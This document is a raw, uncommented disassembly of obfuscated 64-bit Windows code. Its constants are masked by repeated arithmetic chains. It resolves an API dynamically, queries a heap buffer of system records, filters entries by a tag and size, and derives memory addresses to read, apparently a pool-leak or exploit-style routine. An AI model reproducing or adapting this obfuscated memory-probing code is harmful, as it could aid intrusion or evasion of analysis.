add eax, 0xb71c17af
xor eax, 0xc768f190
rol eax, 0x67
popf
pushf
not eax
add eax, 0xe78093b1
xor eax, 0xf5e54970
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x8b0b19b6
xor eax, 0xaa39d9eb
rol eax, 0xcc
popf
pushf
not eax
add eax, 0x98301d29
xor eax, 0xaeb51013
rol eax, 0x57
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x48]
mov ecx, dword [rax + 0x24]
call fcn.1400aaf1d
mov dword [rsp + 0x15c], eax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x58]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, 0xc7b54aac
pushf
not r8d
add r8d, 0xadc1d5d2
xor r8d, 0xca042275
rol r8d, 0x91
popf
pushf
not r8d
add r8d, 0x85ad398c
xor r8d, 0xe53ae23b
rol r8d, 0x33
popf
pushf
not r8d
add r8d, 0xd5eb8a09
xor r8d, 0xa5be6e7e
rol r8d, 0xb8
popf
pushf
not r8d
add r8d, 0xb0498fc3
xor r8d, 0x882b2d0c
rol r8d, 0x69
popf
mov edx, eax
call fcn.140161ab2
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x88]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov rdx, qword [rsp + 0x48]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x58]
push rdx
not rdx
sub rdi, rdx
pop rdx
sub rdi, 1
mov rdx, rdi
mov qword [rsp + 0x320], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0x320]
mov rcx, rax
call fcn.140081885
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x58]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, dword [rsp + 0x15c]
mov edx, eax
call fcn.140161ab2
push rax
pushf
mov eax, 0x603b7e9e
pushf
not eax
add eax, 0x8b112600
xor eax, 0xa219f6db
rol eax, 0x4c
popf
pushf
not eax
add eax, 0x8786caa1
xor eax, 0xc5c598ac
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xb37c7524
xor eax, 0xab8a073b
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xbbf69edf
xor eax, 0xbf7c7b3e
rol eax, 0xa9
popf
jmp 0x1400c2180
jmp 0x1400c5214
mov eax, 0x38ee86e2
pushf
not eax
add eax, 0x8aa9b5fc
xor eax, 0xc53c2e55
rol eax, 0x14
popf
pushf
not eax
add eax, 0xd16d224f
xor eax, 0xbe33f584
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xa342853a
xor eax, 0x982c0491
rol eax, 0xc0
popf
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rax + rcx]
cmp dword [0x140040298], eax
jle 0x1400c5677
push rax
pushf
mov eax, 0x9e4f8e43
pushf
not eax
add eax, 0xf318e614
xor eax, 0x984d21dd
rol eax, 0x96
popf
pushf
not eax
add eax, 0x91be9bed
xor eax, 0xc8d85c2a
rol eax, 0x31
popf
pushf
not eax
add eax, 0x994cf3da
xor eax, 0xbd81365e
rol eax, 0x58
popf
pushf
not eax
add eax, 0x9019b5d5
xor eax, 0xa22b3584
rol eax, 0xd3
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x7d812bfa
pushf
not eax
add eax, 0x9318dbe1
xor eax, 0xfd28f0b3
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xb881aa30
xor eax, 0xe3077ad4
rol eax, 0x3f
popf
jmp 0x1400c2180
lea rcx, [0x19a3e0540]
pushf
sub rcx, 0x5a3a02a8
popf
call fcn.14015e87e
cmp dword [0x140040298], 0xffffffff
jne 0x1400c5723
push rax
pushf
mov eax, 0x83cfd5e9
pushf
not eax
add eax, 0xfddb6361
xor eax, 0xadd0fed4
rol eax, 0x95
popf
pushf
not eax
add eax, 0xbb04dab6
xor eax, 0xf7d2ad7f
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xbba7f95f
xor eax, 0x911dc16d
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xc922a522
xor eax, 0xe5b0b4b7
rol eax, 0xaa
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x97394ea4
pushf
not eax
add eax, 0xb953a935
xor eax, 0xca679623
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xd3a44609
xor eax, 0xae73eabb
rol eax, 0x26
popf
pushf
not eax
add eax, 0x85ed887c
xor eax, 0x881d5e9e
rol eax, 0xf5
popf
jmp 0x1400c2180
lea rcx, [0x19816a045]
pushf
sub rcx, 0x5813843d
popf
jmp 0x1400c577c
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x1a3898106]
pushf
sub rdx, 0x6386651e
popf
mov rcx, rax
jmp 0x1400c5798
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140040278], rax
lea rcx, [0x188fbb6dd]
pushf
sub rcx, 0x48f7b445
popf
call fcn.14014b474
push rax
pushf
mov eax, 0x2f6b2e58
pushf
not eax
add eax, 0xfd22f7dd
xor eax, 0x9aa8d76a
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xee7ef3ee
xor eax, 0xbcba4b01
rol eax, 0x51
popf
pushf
not eax
add eax, 0xc44ff94e
xor eax, 0xd7890da6
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xaf9e7f76
xor eax, 0xa78a30ed
rol eax, 0x2e
popf
jmp 0x1400c2180
mov dword [rsp + 0x50], 0
mov dword [rsp + 0xa0], 0
jmp 0x1400c5829
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor r8d, r8d
mov edx, 0xd3b29013
pushf
not edx
add edx, 0xc95a073f
xor edx, 0xf96cc93d
rol edx, 0x93
popf
pushf
not edx
add edx, 0xf5af0745
xor edx, 0xe27f87f6
rol edx, 0x82
popf
pushf
not edx
add edx, 0x80d1414d
xor edx, 0xe6cea505
rol edx, 0x32
popf
mov rcx, rax
jmp 0x1400c587a
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x80], rax
jmp 0x1400c5889
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9d, 0x658582f2
pushf
not r9d
add r9d, 0xf1d494cd
xor r9d, 0xdb5c9efc
rol r9d, 0xc
popf
pushf
not r9d
add r9d, 0xa08ee426
xor r9d, 0x879cd712
rol r9d, 0xa9
popf
pushf
not r9d
add r9d, 0x9885cb6b
xor r9d, 0xd12099ee
rol r9d, 0xda
popf
pushf
not r9d
add r9d, 0xb759f202
xor r9d, 0xa1b9a670
rol r9d, 0xed
popf
mov r8, qword [rsp + 0x80]
mov edx, 0xcfd00bdb
pushf
not edx
add edx, 0xcbc22c6b
xor edx, 0x82193178
rol edx, 0x70
popf
pushf
not edx
add edx, 0xb0746fc0
xor edx, 0x9e7cf1d4
rol edx, 0x59
popf
mov rcx, rax
jmp 0x1400c5934
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov qword [rsp + 0x80], rax
mov rax, qword [0x140040278]
mov qword [rsp + 0x328], rax
lea r9, [rsp + 0x50]
mov r8d, 0x99e33232
pushf
not r8d
add r8d, 0xd92bd0ed
xor r8d, 0xefbfa7f0
rol r8d, 0x5d
popf
pushf
not r8d
add r8d, 0xfef29fce
xor r8d, 0xa4d3b8bc
rol r8d, 0x41
popf
mov rdx, qword [rsp + 0x80]
mov ecx, 0x9b729c8
pushf
not ecx
add ecx, 0xca121688
xor ecx, 0xbb71f169
rol ecx, 0x3d
popf
pushf
not ecx
add ecx, 0x8812442b
xor ecx, 0xd9b42e3e
rol ecx, 3
popf
pushf
not ecx
add ecx, 0xce1ace03
xor ecx, 0xc5d05b8f
rol ecx, 0x2f
popf
jmp 0x1400c59db
call qword [rsp + 0x328]
mov dword [rsp + 0x160], eax
mov eax, dword [rsp + 0x50]
add eax, 0x1f
mov eax, eax
mov qword [rsp + 0x330], rax
jmp 0x1400c59fb
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x338], rax
mov r9, qword [rsp + 0x330]
mov r8, qword [rsp + 0x80]
mov edx, 0xdc515e13
pushf
not edx
add edx, 0xb36385ac
xor edx, 0xd2ca5aab
rol edx, 0xb6
popf
pushf
not edx
add edx, 0xd7b0ed33
xor edx, 0x8aed7713
rol edx, 0x72
popf
mov rcx, qword [rsp + 0x338]
jmp 0x1400c5a51
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0xa0], eax
mov rax, qword [0x140040278]
mov qword [rsp + 0x340], rax
lea r9, [rsp + 0x50]
mov r8d, dword [rsp + 0xa0]
mov rdx, qword [rsp + 0x80]
mov ecx, 0xfac819f5
pushf
not ecx
add ecx, 0xdd4ccb38
xor ecx, 0x94044238
rol ecx, 0xf6
popf
pushf
not ecx
add ecx, 0xde90e3a1
xor ecx, 0xd6180b86
rol ecx, 0x67
popf
pushf
not ecx
add ecx, 0x84be051e
xor ecx, 0x8f198489
rol ecx, 0xfa
popf
jmp 0x1400c5ad3
call qword [rsp + 0x340]
mov dword [rsp + 0x160], eax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 0
cmp qword [rsp + 0x1b0], 0
je 0x1400c5b65
push rax
pushf
mov eax, 0x615dfc46
pushf
not eax
add eax, 0xde25c0d0
xor eax, 0xf500a20d
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xac444bec
xor eax, 0xc10a7206
rol eax, 0x67
popf
pushf
not eax
add eax, 0xfce5488b
xor eax, 0xcb00eedd
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xa1b807e0
xor eax, 0xc93fcc4e
rol eax, 0x10
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xaafeee88
pushf
not eax
add eax, 0x8e313bc1
xor eax, 0xcf80fa2c
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xc5783cda
xor eax, 0x8a92030b
rol eax, 0x11
popf
pushf
not eax
add eax, 0xeb5cc7a2
xor eax, 0xc6c6b723
rol eax, 0x30
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x1b0]
mov eax, dword [rax]
mov dword [rsp + 0x164], eax
mov dword [rsp + 0x54], 0
jmp 0x1400c5c4d
mov eax, dword [rsp + 0x54]
jmp 0x1400c5c01
inc eax
mov dword [rsp + 0x54], eax
push rax
pushf
mov eax, 0x4315c980
pushf
not eax
add eax, 0x850c616b
xor eax, 0x93be75dd
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xf4377b19
xor eax, 0xd25f9f60
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xee8be0e2
xor eax, 0x99f2af57
rol eax, 0xd
popf
jmp 0x1400c2180
mov eax, dword [rsp + 0x164]
cmp dword [rsp + 0x54], eax
jae 0x1400c5cb7
push rax
pushf
mov eax, 0x309d8654
pushf
not eax
add eax, 0xd7d300ed
xor eax, 0xba0591a8
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xe38b4ae6
xor eax, 0xbea01dd7
rol eax, 0x57
popf
pushf
not eax
add eax, 0xf14c7ff8
xor eax, 0xbe860009
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x877b8cab
xor eax, 0xdc9218ef
rol eax, 0x71
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xc6e75df8
pushf
not eax
add eax, 0xfe68163f
xor eax, 0x9cbe4884
rol eax, 0x49
popf
pushf
not eax
add eax, 0xec788f9a
xor eax, 0x98ad7c3a
rol eax, 0x73
popf
pushf
not eax
add eax, 0xf0ee7768
xor eax, 0x9d1ec594
rol eax, 0xa7
popf
jmp 0x1400c2180
mov eax, dword [rsp + 0x54]
imul rax, rax, 0x18
mov rcx, qword [rsp + 0x1b0]
lea rax, [rcx + rax + 8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
and rax, 0xfffffffffffffffe
mov qword [rsp + 0x348], rax
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
and rax, 1
test rax, rax
je 0x1400c5d8b
push rax
pushf
mov eax, 0xa24c04a5
pushf
not eax
add eax, 0xe870d41c
xor eax, 0xab9990a3
rol eax, 0x85
popf
pushf
not eax
add eax, 0xb652fc05
xor eax, 0xd6302934
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xe35c07b8
xor eax, 0xfd0ad9f1
rol eax, 0x7f
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xdfd45dfe
pushf
not eax
add eax, 0xc3b62653
xor eax, 0x8e70c150
rol eax, 0x61
popf
pushf
not eax
add eax, 0xdb14de09
xor eax, 0xfd7f6998
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xaf1720f8
xor eax, 0xc7ab994e
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xf10d871c
xor eax, 0xf9dd5f7b
rol eax, 0x52
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0xc0]
cmp qword [rax + 8], 0x200000
jne 0x1400c5e4f
push rax
pushf
mov eax, 0x1e84354b
pushf
not eax
add eax, 0xa019215a
xor eax, 0xe73ec8ee
rol eax, 0x27
popf
pushf
not eax
add eax, 0xbdc8774e
xor eax, 0xa1a03b4e
rol eax, 0x54
popf
pushf
not eax
add eax, 0xc8810284
xor eax, 0xe3aa35d0
rol eax, 0xda
popf
pushf
not eax
add eax, 0x93a9fe6a
xor eax, 0x9c278556
rol eax, 0xa8
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x2b09fb3a
pushf
not eax
add eax, 0x9e763753
xor eax, 0xf292ad02
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xfabb3a76
xor eax, 0x81a34cb4
rol eax, 0x62
popf
pushf
not eax
add eax, 0xaa6d002f
xor eax, 0xc26f2d71
rol eax, 0x88
popf
pushf
not eax
add eax, 0xc743ada2
xor eax, 0x92678776
rol eax, 0x4f
popf
jmp 0x1400c2180
cmp qword [rsp + 0x1b8], 0
jne 0x1400c5f0c
push rax
pushf
mov eax, 0x5a692e26
pushf
not eax
add eax, 0xf513dc05
xor eax, 0xc232f2f1
rol eax, 0xff
popf
pushf
not eax
add eax, 0xbc71076a
xor eax, 0xcfed8c1e
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xd30c5ddd
xor eax, 0xaa07f308
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x9b1e148a
xor eax, 0xaba389d7
rol eax, 0x27
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x631adc04
pushf
not eax
add eax, 0x9c506a2a
xor eax, 0xb5aea580
rol eax, 0x22
popf
pushf
not eax
add eax, 0xed4dbce9
xor eax, 0xbac68e52
rol eax, 0xb1
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0xc0]
cmp dword [rax + 0x10], 0x546e6f43
jne 0x1400c5fa9
push rax
pushf
mov eax, 0xc7fa1099
pushf
not eax
add eax, 0xcd938fd7
xor eax, 0xf04c43d9
rol eax, 0x97
popf
pushf
not eax
add eax, 0xcb8958b9
xor eax, 0xa6950d98
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xfb0bd586
xor eax, 0x8b3bd761
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xb683be01
xor eax, 0xf10298e5
rol eax, 0x10
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x66f1c398
pushf
not eax
add eax, 0x902d172b
xor eax, 0xe988a335
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x815482a0
xor eax, 0xb182239d
rol eax, 0x12
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x1b8], rax
push rax
pushf
mov eax, 0x98c52d52
pushf
not eax
add eax, 0xe2848194
xor eax, 0xf78b3bd9
rol eax, 0x82
popf
pushf
not eax
add eax, 0xb44b93e3
xor eax, 0xb584ef1e
rol eax, 0x69
popf
pushf
not eax
add eax, 0xb40e4aa7
xor eax, 0xe8a15dbc
rol eax, 0x32
popf
pushf
not eax
add eax, 0x9e3e21c8
xor eax, 0xb168dcef
rol eax, 3
popf
jmp 0x1400c2180
jmp 0x1400c5bfc
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
add rax, 0x60
mov rcx, rax
call fcn.1400c9006
mov rax, qword [rax]
mov qword [rsp + 0x1c0], rax
movabs rax, 0x2e15d170cb4db77
pushf
not rax
add rax, 0x461367f7
xor rax, 0x42253fc4
rol rax, 0x63
popf
pushf
not rax
add rax, 0x63d50275
xor rax, 0x7adfeb28
rol rax, 0x9d
popf
pushf
not rax
add rax, 0x74f09d6b
xor rax, 0x506c5166
rol rax, 0x62
popf
cmp qword [rsp + 0x1c0], rax
jbe 0x1400c6171
push rax
pushf
mov eax, 0xacccd452
pushf
not eax
add eax, 0xf7ac3d64
xor eax, 0xecead880
rol eax, 0xae
popf
pushf
not eax
add eax, 0xb5ffd79a
xor eax, 0x90f99737
rol eax, 0x95
popf
pushf
not eax
add eax, 0xaafa8d27
xor eax, 0x837f65d7
rol eax, 0xdc
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x38213b1
pushf
not eax
add eax, 0xc3face1b
xor eax, 0xcc5265c8
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x984c5493
xor eax, 0x9cab91e5
rol eax, 0x4d
popf
jmp 0x1400c2180
movabs rax, 0xffff5dbbe2bfc7fc
pushf
not rax
add rax, 0x4ab5f950
xor rax, 0x61ae3153
rol rax, 0x6b
popf
pushf
not rax
add rax, 0x4a214b8f
xor rax, 0x442d194b
rol rax, 0x82
popf
pushf
not rax
add rax, 0x6c21426f
xor rax, 0x67987a01
rol rax, 0x64
popf
mov rcx, qword [rsp + 0x1c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x200], rax
jmp 0x1400c633c
movabs rax, 0xd497233fc82d91fc
pushf
not rax
add rax, 0x7d29b5c7
xor rax, 0x78705b7a
rol rax, 0x6c
popf
pushf
not rax
add rax, 0x4470cf83
xor rax, 0x49fea354
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x7336806a
xor rax, 0x508e961a
rol rax, 0xa2
popf
pushf
not rax
add rax, 0x649c1184
xor rax, 0x4fe84f48
rol rax, 0x6d
popf
mov rcx, qword [rsp + 0x1c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x200], rax
push rax
pushf
mov eax, 0xa3153cbb
pushf
not eax
add eax, 0xc84a065f
xor eax, 0xe4e02d21
rol eax, 0xe
popf
pushf
not eax
add eax, 0xefdec1d2
xor eax, 0x9961d34c
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xb280b28b
xor eax, 0xd490f801
rol eax, 0x73
popf
pushf
not eax
add eax, 0x80e6b0a7
xor eax, 0xde8d7419
rol eax, 4
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0xb8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x350]
add rax, 0x1a0
mov rdx, rax
mov rcx, qword [rsp + 0xb8]
call fcn.1400f27d2
mov qword [rsp + 0x208], rax
cmp qword [rsp + 0x208], 0
jne 0x1400c63c7
push rax
pushf
mov eax, 0xc208b02
pushf
not eax
add eax, 0xd05c2562
xor eax, 0xdb203d37
rol eax, 0x95
popf
pushf
not eax
add eax, 0x958c1b32
xor eax, 0xa82037bd
rol eax, 0x2f
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x535c14c9
pushf
not eax
add eax, 0xa6ba1fe3
xor eax, 0xf8ddfc42
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x9ce2387b
xor eax, 0xa13467e9
rol eax, 0xbc
popf
jmp 0x1400c2180
xor al, al
jmp 0x1400c671c
mov rax, qword [rsp + 0x208]
add rax, 0x28
mov rdx, rax
mov rcx, qword [rsp + 0xb8]
call fcn.1400f27d2
mov qword [rsp + 0x210], rax
cmp qword [rsp + 0x210], 0
jne 0x1400c64e2
push rax
pushf
mov eax, 0xc502e61d
pushf
not eax
add eax, 0xd925d5e8
xor eax, 0xd8a2af76
rol eax, 0x52
popf
pushf
not eax
add eax, 0xfa82f6c2
xor eax, 0xc5e6dd67
rol eax, 0xff
popf
pushf
not eax
add eax, 0xc5438ac1
xor eax, 0x8453787a
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xa6d15e6b
xor eax, 0xa01e695f
rol eax, 8
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xdca630ba
pushf
not eax
add eax, 0xa92d2275
xor eax, 0xfec07e9c
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xf2c38081
xor eax, 0xd61b56f5
rol eax, 0x32
popf
pushf
not eax
add eax, 0xe2f0cb07
xor eax, 0xaa812193
rol eax, 0x71
popf
pushf
not eax
add eax, 0xe858172b
xor eax, 0x8d16c214
rol eax, 0xaf
popf
jmp 0x1400c2180
xor al, al
jmp 0x1400c671c
mov rax, qword [rsp + 0x210]
add rax, 0x8c0
mov rdx, rax
mov rcx, qword [rsp + 0xb8]
call fcn.1400f27d2
mov qword [rsp + 0x220], rax
cmp qword [rsp + 0x220], 0
jne 0x1400c65e0
xor al, al
jmp 0x1400c671c
mov rax, qword [rsp + 0x58]
add rax, 0xd158
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x58]
add rax, 0x26a30
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x358]
mov r8d, 0x232b20d8
pushf
not r8d
add r8d, 0xd9a0c57a
xor r8d, 0xb7770bb3
rol r8d, 0x2a
popf
pushf
not r8d
add r8d, 0xdb6e71d0
xor r8d, 0xac763d70
rol r8d, 0x8f
popf
pushf
not r8d
add r8d, 0xef0393de
xor r8d, 0xc455f692
rol r8d, 0x3f
popf
pushf
not r8d
add r8d, 0x8e3ef820
xor r8d, 0xfdc5b62b
rol r8d, 0x95
popf
mov rdx, qword [rsp + 0x360]
mov rcx, qword [rsp + 0x220]
call fcn.1400f0236
mov al, 0x65
pushf
not al
add al, 0xc
xor al, 0x43
rol al, 0xe8
popf
pushf
not al
add al, 0xe1
xor al, 0x5b
rol al, 0x94
popf
pushf
not al
add al, 0x92
xor al, 0xc7
rol al, 0xca
popf
push rax
pushf
mov eax, 0x2fad5d0b
pushf
not eax
add eax, 0xb3803f70
xor eax, 0xcc70fde1
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xdd3f8b30
xor eax, 0xfe74b963
rol eax, 0xd4
popf
pushf
not eax
add eax, 0x92b9acd5
xor eax, 0xa65e23c5
rol eax, 0x50
popf
pushf
not eax
add eax, 0xd0b78720
xor eax, 0xdb3b55b6
rol eax, 0x93
popf
jmp 0x1400c2180
add rsp, 0x408
pop rdi
pop rsi
ret